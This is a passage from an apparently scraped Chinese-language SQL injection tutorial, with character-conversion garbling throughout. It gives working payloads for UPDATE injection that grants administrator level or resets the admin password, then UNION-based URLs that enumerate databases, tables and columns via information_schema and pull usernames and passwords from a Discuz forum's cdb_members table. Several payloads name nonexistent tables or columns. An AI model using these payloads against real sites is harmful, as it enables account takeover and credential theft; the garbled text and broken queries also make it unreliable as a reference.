这样就注册成为超级管理员了。但这种利用方法也有必定的局限性,好比,我没有须要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给咱们注入,咱们也没有办法了。 或许INSERT还有更普遍的应用,你们能够自行研究,但原理都是同样的。 UPDATE 和INSERT相比,UPDATE的应用更加普遍,若是过滤不够,足以改写任何数据,仍是拿刚才的注册程序来讲,数据结构也不变,咱们看一下用户本身修改本身的资料,SQL语句通常都是这样写的: UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
整个SQL语句就变成这样: UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
咱们是否是又变成超级管理员了?程序不更新userlevel字段,咱们本身来。 还有更加绝的,直接修改任意用户的资料,仍是刚才的例句,但此次安全一点,使用MD5加密: UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
尽管密码被加密了,但咱们仍是能够构造咱们须要的语句,咱们指定$password为: mypass)' WHERE username='admin'#
这时整个语句变为: UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
这样就更改了更新的条件,我管你后面的代码是否是在哭这说:咱们尚未执行啊。固然,也能够从$id下手,指定$id为: ' OR username='admin'
这时整个语句变为: UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
前面爆管理员帐号密码前有可能猜表都猜不到。这里教你们暴库,爆表,爆字段。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,schema_name,6,7,8 from information_schema.SCHEMATA limit 0,1/* 这样会爆出一个数据库。前面咱们垂手可得的能够获得一个当前链接的数据库。 咱们要爆出的数据库里要存放管理员的用户和密码。 这里limit 0,1/*的意思是爆出第一个库的名字,若是要查看第二个数据库名就增长limit后面的值,好比把0增长为1就又爆出一个库名。逐次加1就分别暴出了网站的其余数据库名。 已经知道网站数据库名是study,继续爆表。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=0x7374756479 limit 0,1/* 这里0x7374756479就是study的16进制形式。成功爆出一个表名。咱们在增长limit后面的数字来逐一爆出数据库中的其余表名。 爆字段 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=0x61646D696E limit 0,1/* 成功爆出admin表中的一个字段。0x61646D696E为admin的16进制。
有时候咱们用union联合查询前猜到的字段长度多是1,这样对咱们就有所限制了。咱们能够借助concat函数来一次性爆出咱们所但愿获得的东西。具体用法是concat(咱们想要爆的,0x3A,咱们想要爆的,0x3A,咱们想要爆的……) http://127.0.0.1/ad.php?id=1 and 1=2 union select concat(user(),0x3A,database(),0x3A,version()) 0x3A是;的16进制形式。
PHP跨库查询。当前库realmd,要跨到BBS的库为discuz,默认中discuz数据库中存放用户信息的表是cdb_members ,两个字段为username,password http://127.0.0.1/ad.php?id=1 and 1=1 union select 1,2,3,4,5,6,7,8 from discuz.cdb_members返回正常,说明跨库查询成功。而且数据库和表都是存在的。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,username,3,password,5,6,7,8 from discuz.cdb.members where uid=1 延伸——跨库后一样能够爆表爆字段。 http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=discuz limit 0,1/* http://127.0.0.1/ad.php?id=1 and 1=2 union select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=discuz.cdb_members limit 0,1/* schema_name information_schema.SCHEMATA table_name information_schema.table TABLE_SCHEMA COLUMN_NAME information_schema.COLUMN_NAME TABLE_NAME 三.***思路